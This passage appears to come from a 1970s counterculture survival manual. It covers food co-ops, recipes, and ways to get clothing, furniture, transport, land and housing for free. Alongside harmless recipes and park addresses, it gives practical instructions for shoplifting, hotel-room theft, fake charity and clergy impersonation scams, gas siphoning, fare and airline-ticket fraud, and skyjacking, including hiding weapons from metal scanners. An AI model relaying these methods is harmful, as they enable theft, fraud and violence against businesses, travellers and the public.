markets going out of business. Remember the idea of a conspiracy is to get tons of stuff at
real low prices or free into a store front, and then break it down into smaller units for each
group and eventually each member. The freezers allow you to store perishables for a longer
time.
The hunting party should be well acquainted with how to rip off shit totally free and where
all the best deals are to be found. They should know what food is seasonal and about
nutritional diets. There is a lot to learn, such as where to get raw grains in 100 pounds lots
and how to cut up a side of beef. A good idea is to get a diet freak to give weekly talks in
the store front. There can also be cooking lessons taught, especially to men, so women can
get out of the kitchen.
Organizing a community around a basic issue of survival, such as food, makes a lot of nitty
gritty sense. After your conspiracy gets off the ground and looks permanent, you should
seek to expand it to include more members and an emergency food fund should be set up
in case something happens in the community. There should also be a fund whereby the
conspiracy can sponsor free community dinners tied into celebrations. Get it together and
join the fight for a world-wide food conspiracy. Seize the steak!
CHEAP CHOW
There are hundreds of good paperback cook books with nutritional cheap recipes available
in any bookstore. Cooking is a vastly overrated skill. The following are a few all-purpose
dishes that are easy to make, nutritional and cheap as mud pies. You can add or subtract
many of the ingredients for variety.
Hog Farm Granola Breakfast (Road Hog Crispies)
½ c millet 2 c raw oats
½ c cracked wheat 1 c rye flakes
½ c buckwheat groats 1 c wheat flakes
½ c wheat germ 1 c dried fruits and/or nuts
½ c sunflower seeds 3 tbs soy oil
¼ c sesame seeds 1 c honey
2 tbs cornmeal
Boil the millet in a double boiler for 1/2 hour. Mix in a large bowl all the ingredients
including the millet. The soy oil and honey should be heated in a saucepan over a low flame
until bubbles form. Spread the cereal in a baking pan and cover with the honey syrup. Toast
in oven until brown. Stir once or twice so that all the cereal will be toasted. Serve plain or
with milk. Refrigerate portion not used in a covered container. Enough for ten to twenty
people. Make lots and store for later meals. All these ingredients can be purchased at any
health store in a variety of quantities. You can also get natural sugar if you need a
sweetener. If bought and made in quantity, this fantastically healthy breakfast food will be
cheaper than the brand name cellophane that passes for cereal.
Whole Earth Bread
1 c oats, corn meal, or wheat germ 2 tsp salt
1½ c water (warm) 2 egg yolks
¼ c sugar (raw is best) 4 c flour
1 pkg active dry yeast _ c corn oil
1 c dry milk or butter
Stir lightly in a large bowl the oats, cornmeal or wheat germ (depending on the flavor bread
you desire), the water and sugar. Sprinkle in the yeast and wait 10 minutes for the yeast to
do its thing. Add salt, egg yolks, corn oil and dry milk. Mix with a fork. Blend in the flour. The
dough should be dry and a little lumpy. Cover with a towel and leave in a warm place for a
half hour. Now mash, punch, blend and kick the dough and return it covered to its warm
place. The dough will double in size. When this happens, separate the dough into two even
masses and mash each one into a greased bread (loaf) pan. Cover the pans and let sit until
the dough rises to the top of the pans. Bake for 40-45 minutes in a 350 degree oven that
has not been pre-heated. A shallow tray of water in the bottom of the oven will keep the
bread nice and moist. When you remove the pans from the oven, turn out the bread into a
rack and let it cool off. Once you get the hang of it, you'll never touch ready-made bread,
and it's a gas seeing yeast work.
Street Salad
Salad can be made by chopping up almost any variety of vegetables, nuts and fruits
including the stuff you panhandled at the back of supermarkets; dandelions, shav, and other
wild vegetables; and goods you ripped off inside stores or from large farms. A neat fresh
dressing consists of one part of oil, two parts wine vinegar, finely chopped garlic cloves, salt
and pepper. Mix up the ingredients in a bottle and add to the salad as you serve it. Russian
dressing is simply mayonnaise and ketchup mixed.
Yippie Yogurt
Yogurt is one of the most nutritional foods in the world. The stuff you buy in stores has
preservatives added to it reducing its health properties and increasing the cost. Yogurt is a
bacteria that spreads throughout a suitable culture at the correct temperature. Begin by
going to a Turkish or Syrian restaurant and buying some yogurt to go. Some restaurants
boast of yogurt that goes back over a hundred years. Put it in the refrigerator.
Now prepare the culture in which the yogurt will multiply. The consistency you want will
determine what you use. A milk culture will produce thin yogurt, while sweet cream will
make a thicker batch. It's the butter fat content that determines the consistency and also
the number of calories. Half milk and half cream combines the best of both worlds. Heat a
quart of half and half on a low flame until just before the boiling point and remove from the
stove. This knocks out other bacteria that will compete with the yogurt. Now take a
tablespoon of the yogurt you got from the restaurant and place it in the bottom of a bowl
(not metal). Now add the warm liquid. Cover the bowl with a lid and wrap tightly with a
heavy towel. Place the bowl in a warm spot such as on top of a radiator or in a sunny
window. A turned-off oven with a tray of boiling water placed in it will do well. Just let the
bowl sit for about 8 hours (overnight). The yogurt simply grows until the whole bowl is
yogurt. Yippie! It will keep in the refrigerator for about two weeks before turning sour, but
even then, the bacteria will produce a fresh batch of top quality. Remember when eating it
to leave a little to start the next batch. For a neat treat add some honey and cinnamon
and mix into the yogurt before serving. Chopped fruit and nuts are also good.
Rice and Cong Sauce
1 c brown rice vegetables
2 c water 2½ tbs soy sauce
tsp salt
Bring the water to a boil in a pot and add the salt and rice. Cover and reduce flame.
Cooking time is about 40 minutes or until rice has absorbed all the water. Meanwhile, in a
well-greased frying pan, saute a variety of chopped vegetables you enjoy. When they
become soft and brownish, add salt and 2 cups of water. Cover with a lid and lower flame.
Simmer for about 40 minutes, peeking to stir every once in a while. Then add 2 1/2 tbs of
soy sauce, stir and cook another 10 minutes. The rice should be just cooling off now, so add
the sauce to the top of it and serve. Great for those long guerrilla hikes. This literally makes
up almost the entire diet of the National Liberation Front fighter.
Weatherbeans
1 lb red kidney beans 2 tbs parsley (chopped)
2 quarts water ½ lb pork, smoked sausage
1 onion (chopped) or ham hock
1 tbs celery (chopped) 1 lg bay leaf
1 tsp garlic (minced) salt to season
Rinse the beans, then place in covered pot and add water and salt. Cook over low flame.
While cooking, chop up meat and brown in a frying pan. Add onion, celery, garlic and parsley
and continue sauteing over low flame. Add the pieces of meat, vegetables and bay leaf to
the beans and cook covered for 1 1/2 to 2 hours. It may be necessary to add more water if
the beans get too dry. Fifteen minutes before beans are done, mash about a half cup of the
stuff against the side of the pan to thicken the liquid. Pour the beans and liquid over some
steaming rice that you've made by following the directions above. This should provide a
cheap nutritional meal for about 6 people.
Hedonist's Deluxe
2 lobsters 2 qts water
seaweed ¼ lb butter
Steal two lobsters, watching out for the claw thingies. Beg some seaweed from any fish
market. Cop the butter using the switcheroo method described in the Supermarket section
above. When you get home, boil the water in a large covered pot and drop in the seaweed
and then the lobsters. Put the cover back on and cook for about 20 minutes. Melt the
butter in a sauce pan and dip the lobster pieces in it as you eat. With a booster box,
described later you'll be able to rip off a bottle of vintage Pouilly-Fuisse in a fancy liquor
store. Really, rice is nice but...
FREE CLOTHING & FURNITURE
FREE CLOTHING
If shoplifting food seems easy, it's nothing compared to the snatching of clothing. Shop only
the better stores. Try thing on in those neat secluded stalls. The less bulky items such as
shirts, vests, belts and socks can be tied around your waist or leg with large rubber bands if
needed. Just take a number of items in and come out with a few less.
In some cities there are still free stores left over from the flower power days. Churches
often have give-away clothing programs. You can impersonate a clergyman and call one of
the large clothing manufacturers in your area. They are usually willing to donate a case or
two of shirts, trousers or underwear to your church raffle or drive to dress up skid row. Be
sure to get your sizes. Tell them "your boy" will pick up the blessed donation and you'll
mention his company in the evening prayers.
If you notice people moving from an apartment or house, ask them if they'll be leaving
behind clothing. They usually abandon all sorts of items including food, furniture and books.
Offer to help them carry out stuff if you can keep what they won't be taking.
Make the rounds of a fancy neighborhood with a truck and some friends. Ring doorbells and
tell the person who answers that you are collecting wearable clothing for the "poor
homeless victims of the recent tidal wave in Quianto a small village in Saudi Arabia." You get
the pitch. Make it food and clothing, and say you're with a group called Heartline for
Decency. A phony letter from a church might help here.
The Salvation Army does this, and you can pick up clothes from them at very cheap prices.
You can get a pair of snappy casual shoes for 25 cents in many bowling alleys by walking
out with them on your feet. If you have to leave your shoes as a deposit, leave the most
beat-up pair you can find.
Notice if your friends have lost or gained weight. A big change means a lot of clothes doing
nothing but taking up closet space. Show up at dormitories when college is over for the
summer or winter season. Go to the train or bus stations and tell them you left your
raincoat, gloves or umbrella when you came into town. They'll take you to a room with
thousands of unclaimed items. Pick out what you like. While there, notice a neat suitcase or
trunk and memorize the markings. Later a friend can claim the item. There will be loads of
surprises in any suitcase. We have a close friend who inherited ten kilos of grass this way.
Large laundry and dry cleaning chains usually have thousands of items that have gone
unclaimed. Manufacturers also have shirts, dresses and suits for rockbottom prices
because of a crooked seam or other fuck-up. Stores have reduced rates on display models:
Mannequins are mostly all size 40 for men and 10 for women. Size 7 1/2 is the standard
display size for men's shoes. If you are these sizes, you can get top styles for less than half
price.
SANDALS
The Vietnamese and people throughout the Third World make a fantastically durable and
comfortable pair of sandals out of rubber tires. They cut out a section of the outer tire
(trace around the outside of the foot with a piece of chalk) which when trimmed forms the
sole. Next 6 slits re made in the sole so the rubber straps can be criss-crossed and slid
through the slits. The straps are made out of inner tubing. No nails are needed. If you have
wide feet, use the new wide tread low profiles. For hard going, try radials. For best
satisfaction and quality, steal the tires off a pig car or a government limousine.
Let's face it, if you really are into beating the clothing problem, move to a warm climate
and run around naked. Skin is absolutely free, and will always be in style. Speaking of style,
the midi and the maxi have obvious advantages when it comes to shoplifting and
transporting weapons or bombs.
FREE FURNITURE
Apartment lobbies are good for all kinds of neat furniture. If you want to get fancy about it,
rent a truck (not one that says U-HAUL-IT or other rental markings) and make the pick-up
with moving-man-type uniforms. When schools are on strike and students hold seminars
and debate into the night, Yippies can be found going through the dorm lobbies and
storage closets hauling off couches, desks, printing supplies, typewriters, mimeos, etc. to
store in secret underground nests. A nervy group of Yippies in the Midwest tried to swipe a
giant IBM 360 computer while a school was in turmoil. All power to those that bring a
wheelbarrow to sit-ins.
Check into a high-class hotel or motel remembering to dress like the wallpaper. Carry a
large dummy suitcase with you and register under a phony name. Make sure you and not
the bellboy carry this bag. Use others as a decoy. When you get inside the room, grab
everything you can stuff in the suitcase: radio, T.V. sets (even if it has a special plug you can
cut it with a knife and replace the cord), blankets, toilet paper, glasses, towels, sheets,
lamps, (forget the imitation Winslow Homer on the wall) a Bible, soap and toss rugs. Before
you leave (odd hours are best) hang the DO NOT DISTURB sign on your doorknob. This will
give you an extra few hours to beat it across the border or check into a new hotel.
Landlords renovating buildings throw out stoves, tables, lamps, refrigerators and carpeting.
In most cities, each area has a day designated for discarding bulk objects. Call the
Sanitation Department and say you live in that part of town which would be putting out the
most expensive shit and find out the pick-up day. Fantastic buys can be found cruising the
streets late at night. Check out the backs of large department stores for floor models,
window displays and slightly damaged furniture being discarded.
Construction sites are a good source for building materials to construct furniture. (Not to
mention explosives.) The large wooden cable spools make great tables. Cinderblocks, bricks
and boards can quickly be turned into a sharp looking bookcase. Doors make tables. Nail
kegs convert into stools or chairs. You can also always find a number of other supplies
hanging around like wiring, pipes, lighting fixtures and hard hats. And don't forget those
blinking signs and the red lanterns for your own light show. Those black oil-fed burners are
O.K. for cooking, although smoky, and highway flares are swell for making fake dynamite
bombs.
FREE TRANSPORTATION
HITCH-HIKING
Certainly one of the neatest ways of getting where you want to go for nothing is to hitch. In
the city it's a real snap. Just position yourself at a busy intersection and ask the drivers for
a lift when they stop for the red light. If you're hitching on a road where the traffic zooms
by pretty fast, be sure to stand where the car will have room to safely pull off the road.
Traveling long distances, even cross-country, can be easy if you have some sense of what
you are doing.
A lone hitch-hiker will do much better than two or more. A man and woman will do very well
together. Single women are certain to get propositioned and possibly worse. Amerikan
males have endless sexual fantasies about picking up a poor lonesome damsel in distress.
Unless your karate and head are in top form, women should avoid hitching alone. Telling
men you have V.D. might help in difficult situations.
New England and the entire West Coast are the best sections for easy hitches. The South
and Midwest can sometimes be a real hassle. Easy Rider and all that. The best season to
hitch is in the summer. Daytime is much better than night. If you have to hitch at night, get
under some type of illumination where you'll be seen.
Hitch-hiking is legal in most states, but remember you always can get a "say-so" bust. A
"say-so" arrest is to police what Catch-22 is to the Army. When you ask why you're under
arrest, the pig answers, "cause I say-so." If you stand on the shoulder of the road, the pigs
won't give you too bad a time. If you've got long hair, cops will often stop to play games. You
can wear a hat with your hair tucked under to avoid hassles. However this might hurt your
ability to get rides, since many straights will pick up hippies out of curiosity who would not
pick up a straight scruffy looking kid. Freak drivers usually only pick up other freaks.
Once in a while you hear stories of fines levied or even a few arrests for hitching (Flagstaff,
Arizona is notorious), but even in the states where it is illegal, the law is rarely enforced. If
you're stopped by the pigs, play dumb and they'll just tell you to move along. You can wait
until they leave and then let your thumb hang out again.
Hitchin on super highways is really far out. It's illegal but you won't get hassled if you hitch
at the entrances. On a fucked-up exit, take your chances hitching right on the road, but
keep a sharp eye out for porkers. When you get a ride be discriminating. Find out where the
driver is headed. If you are at a good spot, don't take a ride under a hundred miles that
won't end up in a location just as good. When the driver is headed to an out-of-the-way
place, ask him to let you off where you can get the best rides. If he's going to a particularly
small town, ask him to drive you to the other side of thy town line. It's usually only a mile or
two. Small towns often enforce all sorts of "say-so" ordinances. If you get stuck on the wrong
side of town, it would be wise to even hoof it through the place. Getting to a point on the
road where the cars are inter-city rather than local traffic is always preferable.
When you hit the road you should have a good idea of how to get where you are going. You
can pick up a free map at any gas station. Long distance routes, road conditions, weather
and all sorts of information can be gotten free by calling the American Automobile
Association in any city. Say that you are a member driving to Phoenix, Arizona or wherever
your destination is, and find out what you want to know. Always carry a sign indicating
where you are going. If you get stranded on the road without one, ask in a diner or gas
station for a piece of cardboard and a magic marker. Make the letters bold and fill them in
so they can be seen by drivers from a distance. If your destination is a small town, the sign
should indicate the state. For really long distances, EAST or WEST is best. Unless, of
course, you're going north or south. A phony foreign flag sewed on your pack also helps.
Carrying dope is not advisable, and although searching you is illegal, few pigs can read the
Constitution. If you are carrying when the patrol car pulls up, tell them you are Kanadian
and hitching through Amerika. Highway patrols are very uptight about promoting incidents
with foreigners. The foreign bit goes over especially well with small-town types, and is also
amazingly good for avoiding hassles with greasers. If you can't hack this one, tell them you
are a reporter for a newspaper writing a feature story on hitching around the country. This
story has averted many a bust.
Don't be shy when you hitch. Go into diners and gas stations and ask people if they're
heading East or to Texas. Sometimes gas station attendants will help. When in the car be
friendly as hell. Offer to share the driving if you've got a license. If you're broke, you can
usually bum a meal or a few bucks, maybe even a free night's lodging. Never be intimidated
into giving money for a ride.
As for what to carry when hitching, the advice is to travel light. The rule is to make up a
pack of the absolute minimum, then cut that in half. Hitching is an art form as is all survival.
Master it and you'll travel on a free trip forever.
FREIGHTING
There is a way to hitch long distances that has certain advantages over letting your thumb
hang out for hours on some two-laner. Learn about riding the trains and you'll always have
that alternative. Hitchhiking at night can be impossible, but hopping a is easier at night
than by day. By hitchhiking days and hopping freights and sleeping on them at night, you
can cover incredible distances rapidly and stay well rested. Every city and most large
towns have a freight yard. You can find it by following the tracks or asking where the freight
yard is located.
When you get to the yard, ask the workmen when the next train leaving in your direction will
be pulling out. Unlike the phony Hollywood image, railroad men are nice to folks who drop
by to grab a ride. Most yards don't have a guard or a "bull" as they are called. Even if they
do, he is generally not around. If there is a bull around, the most he's going to do is tell you
it's private property and ask you to leave. There are exceptions to this rule, such as the
notorious Lincoln, Nebraska, and Las Vegas, Nevada, but by asking you can find out. Even if
he asks you to leave or throws you out, sneak back when your train is pulling out and jump
aboard.
After you've located the right train for your trip, hunt for an empty boxcar to ride. The men
in the yards will generally point one out if you ask. Pig-sties, flat cars and coal cars are
definitely third class due to exposure to the elements. Boxcars are by far the best. They
are clean and the roof over your head helps in bad weather and cuts down the wind.
Boxcars with a hydro-cushion suspension system used for carrying fragile cargo make for
the smoothest ride. Unless you get one, you should be prepared for a pretty bumpy and
noisy voyage.
You should avoid cars with only one door open, because the pin may break, locking you in. A
car with both doors open gives you one free chance. Pig-backs (trailers on flatcars) are
generally considered unsafe. Most trains make a number of short hops, so if time is an
important factor try to get on a "hot shot" express. A hot shot travels faster and has
priority over other trains in crowded yards. You should favor a hot shot even if you have to
wait an extra hour or two or more to get one going your way.
If you're traveling at night, be sure to dress warmly. You can freeze your ass off. Trains
might not offer the most comfortable ride, but they go through beautiful countryside that
you'd never see from the highway or airway. There are no billboards, road signs, cops,
Jack-in-the-Boxes, gas stations or other artifacts of honky culture. You'll get dirty on the
trains so wear old clothes. Don't pass up this great way to travel cause some bullshit
western scared you out of it.
CARS
If you know how to drive and want to travel long distances, the auto transportation agencies
are a good deal. Look in the Yellow Pages under Automobile Transportation and Trucking or
Driveway. Rules vary, but normally you must be over 21 and have a valid license. Call up and
tell them when and where you want to go and they will let you know if they have a car
available. They give you the car and a tank of gas free. You pay the rest. Go to pick up the
car alone, then get some people to ride along and help with the driving and expenses. You
can make New York to San Francisco for about eighty dollars in tolls and gas in four days
without pushing. Usually you have the car for longer and can make a whole thing out of it.
You must look straight when you go to the agency. This can be simply be done by wetting
down your hair and shoving it under a cap.
Another good way to travel cheaply is to find somebody who has a car and is going your
way. Usually underground newspapers list people who either want rides or riders. Another
excellent place to find information is your local campus. Every campus has a bulletin board
for rides. Head shops and other community-minded stores have notices up on the wall.
Gas
If you have a car and need some gas late at night you can get a quart and then some by
emptying the hoses from the pumps into your tank. There is always a fair amount of surplus
gas left when the pumps are shut off.
If your traveling in a car and don't have enough money for gas and tolls, stop at the bus
station and see if anybody wants a lift. If you find someone, explain your money situation
and make a deal with him. Hitch-hikers also can be asked to chip in on the gas.
You can carry a piece of tubing in the trunk of your car and when the gas indicator gets low,
pull up to a nice looking Cadillac on some dark street and syphon off some of his gas. Just
park your car so the gas tank is next to the Caddy's, or use a large can. Stick the hose into
his tank, suck up enough to get things flowing, and stick the other end into your tank.
Having a lower level of liquid, you tank will draw gas until you and the Caddy are equal. "To
each according to his need, from each according to his ability," wrote Marx. Bet you hadn't
realized until now that the law of gravity affects economics.
Another way is to park in a service station over their filler hole. Lift off one lid (like a small
manhole cover), run down twenty feet of rubber tubing thru the hole you've cut in your
floorboard, then turn on the electric pump which you have installed to feed into your gas
tank. All they ever see is a parked car. This technique is especially rewarding when you have
a bus.
BUSES
If you'd rather leave the driving and the paying to them, try swiping a ride on the bus.
Here's a method that has worked well. Get a rough idea of where the bus has stopped
before it arrived at your station. If you are not at the beginning or final stop on the route,
wait until the bus you want pulls in and then out of the station. Make like the bus just pulled
off without you while you went to the bathroom. If there is a station master, complain like
crazy to him. Tell him you're going to sue the company if your luggage gets stolen. He'll put
you on the next bus for free. If there is no station master, lay your sad tale on the next
driver that comes along. If you know when the last bus left, just tell the driver you've been
stranded there for eight hours and you left your kid sleeping on the other bus. Tell him you
called ahead to the company and they said to grab the next bus and they would take care
of it.
The next method isn't totally free but close enough. It's called the hopper-bopper. Find a
bus that makes a few stops before it gets to where you want to go. The more stops with
people getting in our out the better. Buy a ticket for the short hop and stay on the bus
until you end up at your destination. You must develop a whole style in order to pull this off
because the driver has to forget you are connected with the ticket you gave him. Dress
unobtrusively or make sure the driver hasn't seen your face. Pretend to be asleep when the
short hop station is reached. If you get questioned, just act upset about sleeping through
the stop you "really" want and ask if it's possible to get a ride back.
AIRLINES
Up and away, junior outlaws! If you really want to get where you're going in a hurry, don't
forget skyjacker's paradise. Don't forget the airlines. They make an unbelievable amount of
bread on their inflated prices, ruin the land with incredible amounts of polluting wastes and
noise, and deliberately hold back aviation advances that would reduce prices and time of
flight. We know two foolproof methods to fly free, but unfortunately we feel publishing them
would cause the airlines to change their policy. The following methods have been talked
about enough, so the time seems right to make them known to a larger circle of friends.
A word should be said right off about stolen tickets. Literally millions of dollars worth of
airline tickets are stolen each year. If you have good underworld contacts, you can get a
ticket to anywhere you want at one-fourth the regular price. If you are charged more, you
are getting a slight rooking. In any case, you can get a ticket for any flight or date and just
trade it in. They are actually as good as cash, except that it takes 30 days to get a refund,
and by then they might have traced the stolen tickets. If you can get a stolen ticket,
exchange or use it as soon as possible, and always fly under a phony name. A stolen ticket
for a trip around the world currently goes for one hundred and fifty dollars in New York.
One successful scheme requires access to the mailbox of a person listed in the local phone
book. Let's use the name Ron Davis as an example. A woman calls one of the airlines with a
very efficient sounding rap such as: "Hello, this is Mr. Davis' secretary at Allied Chemical.
He and his wife would like to fly to Chicago on Friday. Could you mail two first-class tickets
to his home and bill us here at Allied?" Every major corporation probably has a Ron Davis,
and the airlines rarely bother checking anyway. Order your tickets two days before you wish
to travel, and pick them up at the mailbox or address you had them sent to. If you are
uptight in the airport about the tickets, just go up to another airline and have the tickets
exchanged.
One gutsy way to hitch a free ride is to board the plane without a ticket. This is how it
works. Locate the flight you want and rummage through a wastebasket until you find an
envelope for that particular airline. Shuffle by the counter men (which is fairly easy if it's
busy). When the boarding call is made, stand in line and get on the plane. Flash the empty
envelope at the stewardess as you board the plane. Carry a number of packages as a
decoy, so the stewardess won t ask you to open the envelope. If she does, which is rare, and
sees you have no ticket, act surprised. "Oh my gosh, it must have fallen out in the wash
room," will do fine. Run back down the ramp as if you're going to retrieve the ticket.
Disappear and try later on a different airline. Nine out of ten revolutionaries say it's the
only way to fly. This trick works only on airlines that don't use the boarding pass system.
If you want to be covered completely, use the hopper-bopper method described in the
section on Buses, with this added security precaution. Buy two tickets from different
cashiers, or better still, one from an agent in town. Both will be on the same flight. Only one
ticket will be under a phony name and for the short hop, white the ticket under your real
name will be for your actual destination. At the boarding counter, present the short hop
ticket. You will be given an envelope with a white receipt in it. Actually, the white receipt is
the last leaf in your ticket. Once you are securely seated and aloft, take out the ticket with
your name and final destination. Gently peel away everything but the white receipt. Place
the still valid ticket back in your pocket. Now remove from the envelope and destroy the
short hop receipt. In its place, put the receipt for the ticket you have in your pocket.
When you land at the short hop airport, stay on the plane. Usually the stewardesses just
ask you if you are remaining on the flight. If you have to, you can actually show her your
authentic receipt. When you get to your destination, you merely put the receipt back on
the bonafide ticket that you still have in your pocket. It isn't necessary that they be glued
together. Present the ticket for a refund or exchange it for another ticket. This method
works well even in foreign countries. You can actually fly around the world for $88.00 using
the hopper-bopper method and switching receipts.
If you can't hack these shucks you should at least get a Youth Card and travel for half fare.
If you are over twenty-two but still in your twenties, you can easily pass. Get a card from a
friend who has similar color hair and eyes. Your friend can easily get one from another
airline. You can master your friend's signature and get a supporting piece of identification
from him to back up your youth card if you find it necessary. If you have a friend who works
for an airline or travel agency, just get a card under your own name and an age below the
limit. Your friend can validate the card. Flying youth fare is on stand-by, so it's always a
good idea to call ahead and book a number of reservations under fictitious names on the
flight you'll be taking. This will fuck up the booking of regular passengers and insure you a
seat.
By the way, if you fly cross-country a number of times, swipe one of the plug-in head sets.
Always remember to pack it in your traveling bag. This way you'll save a two dollar fee
charged for the in-flight movie. The headsets are interchangeable on all airlines.
One way to fly free is to actually hitch a ride. Look for the private plane area located at
every airport, usually in some remote part of the field. You can find it by noticing where the
small planes without airline markings take off and land. Go over to the runways and ask
around. Often the mechanics will let you know when someone is leaving for your destination
and point out a pilot. Tell him you lost your ticket and have to get back to school. Single
pilots often like to have a passenger along and it's a real gas flying in a small plane.
Some foreign countries have special arrangements for free air travel to visiting writers,
artists or reporters. Brazil and Argentina are two we know of for sure. Call or write the
embassy of the country you wish to visit in Washington or their mission to the United
Nations in New York. Writing works best, especially if you can cop some stationery from a
newspaper or publishing house. Tell them you will be writing a feature story for some
magazine on the tourist spots or handcrafts of the country. The embassy will arrange for
you to travel gratis aboard one of their air force planes. The planes leave only from
Washington and New York at unscheduled times. Once you have the O.K. letter from the
embassy you're all set. This is definitely worth checking out if you want to vacation in a
foreign country with all sorts of free bonuses thrown in.
A one-way ride is easy if you want to get into skyjacking. Keep the piece or knife in your
shoe to avoid possible detection with the "metal scanner," a long black tube that acts like a
geiger counter. Or use a plastic knife or bomb. It's also advisable to wrap your dope in a
non-metallic material. Avoid tinfoil.
The crews have instructions to take you wherever you want to go even if they have to refuel,
but watch out for air marshals. To avoid air marshals and searches pick an airline which
flies short domestic hops. You should plan to end up in a country hostile to the United
States or you'll end up right back where you came from in some sturdy handcuffs. One
dude wanted to travel in style so he demanded $100,000 as a going-away gift. The airlines
quickly paid off. The guy then got greedy and demanded a hundred million dollars. When he
returned to pick up the extra pocket money, he got nabbed. None the less, skyjacking
appears to be the cheapest, fastest way to get away from it all.
IN CITY TRAVEL
Any of the public means of transportation can be ripped off easily. Get on the bus with a
large bill and present it after the bus has left the stop. If the bus is crowded, slip in the
back door when it opens to dispatch passengers.
Two people can easily get through the turnstile in a subway on one token by doubling up. In
some subway systems cards are given out to high school kids or senior citizens or
employees of the city. The next time you are in a subway station notice people flashing
cards to the man in the booth and entering through the "exit" door. Notice the color of the
card used by people in your age group. Get a piece of colored paper in a stationery store
or find some card of the same color you need. Put this "card" in a plastic window of your
wallet and flash it in the same way those with a bona fide pass do.
Before entering a turnstile, always test the swing bar. If someone during the day put in an
extra token, it's still in the machine waiting for you to enter free.
For every token and coin deposited in an automatic turnstile, there is a foreign coin the
same size for much less that will work in the machine. (See the Yippie Currency Exchange,
following, for more info.) Buy a cheap bag of assorted foreign coins from a dealer that you
can locate in the Yellow Pages. Size up the coins with a token from your subway system.
You can get any of these coins in bulk from a large dealer. Generally they are about l,000
for five dollars. Tell him you make jewelry out of them if he gets suspicious. Giving what
almost amounts to free subway rides away is a communal act of love. The best outlaws in
the world rip-off shit for a lot more people than just themselves. Robin Hood lives!
FREE LAND
Despite what you may have heard, there is still some rural land left in Amerika. The only
really free land is available in Alaska and remote barren areas of the western states. The
latest information in this area is found in a periodic publication called Our Public Lands,
available from the Superintendent of Documents, Washington, D.C. 20402. It costs $1.00
for a subscription. Also contact the U.S. Department of the Interior, Bureau of Land
Management, Washington, D.C. 20240 and ask for information on "homesteading." By the
time this book is out though, the Secretary of the Interior's friends in the oil companies
might have stolen all the available free land. Being an oil company is about the easiest way
to steal millions. Never call it stealing though, always refer to it as "research and
development."
Continental United States has no good free land that we know of, but there are some very
low prices in areas suited for country communities. Write to School of Living, Freeland,
Maryland, for their newspaper Green Revolution with the latest information in this area.
Canada has free land available, and the Canadian government will send you a free list if you
write to the Department of Land and Forests, Parliament Building, Quebec City, Canada.
Also write to the Geographical Branch, Department of Mines and Technical Surveys,
Parliament Building, Quebec City, Canada. Correspondence can be carried out with the
Communications Group, 2630 Point Grey Road, Vancouver 8, British Columbia, Canada, for
advice on establishing a community in Canada. The islands off the coast of British Columbia,
its western region and the area along the Kootenai River are among the best locations.
If you just want to rip off some land, there are two ways to do it; openly or secretly. If you
are going to do it out front, look around for a piece of land that's in dispute, which has its
sovereignty in question-islands and deltas between the U.S. and Canada, or between the
U.S. and Mexico, or any number of other borderline lands. You might even consider one of
the abandoned oil-drilling platforms, which are fair game under high seas salvage laws. The
possibilities are endless.
If you intend to do it quietly, you will want a completely different type of location. Find a
rugged area with lots of elbow room and plenty of places to hide, like the Rocky Mountains,
Florida swamps, Death Valley, or New York City. Put together a tight band of guerrillas and
do your thing. With luck you will last forever.
If you just want to camp out or try some hermit living in the plushest surroundings
available, you'll do best to head for one of the national parks. Since the parks are federal
property, there's very little the local fuzz can do about you, and the forest rangers are
generally the live-and-let-live types, although there have been increasing reports of
long-hairs being vamped on by Smokey the Pig, as in Yosemite. You can get a complete list
from National Park Service, Department of the Interior, Washington, D.C. 20240. The
following is a list of some good ones:
ALABAMA-Russell Cave National Monument, Bridgeport 35740
ARIZONA-Grand Canyon National Park, Box 129, Grand Canyon 86023
ARKANSAS-Hot Springs National Park, Box 1219, Hot Springs 71901
CALIFORNIA-Yosemite National Park, Box 577, Yosemite 95389*
COLORADO-Rocky Mountain National Park, Estes Park, 80517
FLORIDA-Everglades National Park, Box 279, Homestead 33030
IDAHO-Boise National Forest, 413 Idaho Street, Boise 83702
ILLINOIS-Shawnee National Forest,Harrisburg National Bank Building, Harrisburg
62946
KENTUCKY-Mammoth Cave National Park, Mammoth Cave 42259
LOUISIANA-Kisatchie National Forest, 2500 Shreveport Hwy., Pineville 71360
MAINE-Acadia National Park, Box 338, Bar Harbor 04609
MARYLAND-Assateague Island National Seashore, Rte. 2 Box 111, Berlin 21811
MASSACHUSETTS-Cape Cod National Seashore, South Wellfleet 02663
MICHIGAN-Hiawatha National Forest, Post Office Building, Escanaba 49829
MISSOURI-Mark Twain National Forest, 304 Pershing St., Springfield 65806
NEVADA-Lake Mead National Recreation Area, 601 Nevada Hwy, Boulder City 89005
NEW MEXICO-Aztec Ruins National Monument, Route 1, Box 101, Aztec 87410
NEW YORK-Fire Island National Seashore c/o New York City National Park Service
Group, 28 E. 20th St., New York, NY 10003
NORTH CAROLINA-Wright Brothers National Memorial Box 457, Manteo 27954
OKLAHOMA-Platt National Park, Box 201, Sulphur 73086
OREGON-Crater Lake National Park, Box 7, Crater Lake 97604
UTAH-Bryce Canyon National Park, Bryce Canyon 84717
WYOMING-Yellowstone National Park, Yellowstone Park 83020
*This summer Yosemite forest rangers tried to evict a group of Yippies from their
encampment. The Yippies rioted in the valley, spooked the tourists, burned cars and fought
for their right to stay.
Earth People's Park is an endeavor to purchase land and allow people to come and live for
free. They function as a clearing house for people that want to donate land and those who
wish to settle. They own 600 acres in northern Vermont and are trying to raise money to
buy more. Write to Earth People's Park, P.0. Box 313, 1230 Grant Ave., San Francisco,
California 94133.
People's Parks are sprouting up all over as people reclaim the land being ripped off by
universities, factories, and corrupt city planning agencies. The model is the People's Park
struggle in Berkeley during the spring of 1969. The people fought to defend a barren
parking lot they had turned into a community center with grass, swings, free-form sculpture
and gardens. The University of California, with the aid of Ronald Reagan and the Berkeley
storm troopers, fought with guns, clubs and tear gas to regain the land from the outlaw
people. The pigs killed James Rector and won an empty victory. For now the park is fenced
off, tarred over and converted into unused basketball courts and unused parking lots. Not
one person has violated the oath never to set foot on the site. It stands, cold and empty,
two blocks north of crowded Telegraph Avenue. If the revolution does not survive, all the
land will perish under the steam roller of imperialism. People's Death Valley will happen in
our lifetime.
FREE HOUSING
If you are in a city without a place to stay, ask the first group of hip-looking folks where you
can crash. You might try the office of the local underground newspaper. In any hip
community, the underground newspaper is generally the source of the best
up-to-the-moment information. But remember that they are very busy, and don't impose on
them. Many churches now have runaway houses. If you are under sixteen and can hack
some bullshit jive about "adjusting," "opening a dialogue," and "things aren't that bad," then
these are the best deals for free room and board. Check out the ground rules first, i.e.,
length of stay allowed, if they inform your parents or police, facilities and services available.
Almost always they can be accepted at their word, which is something very sacred to
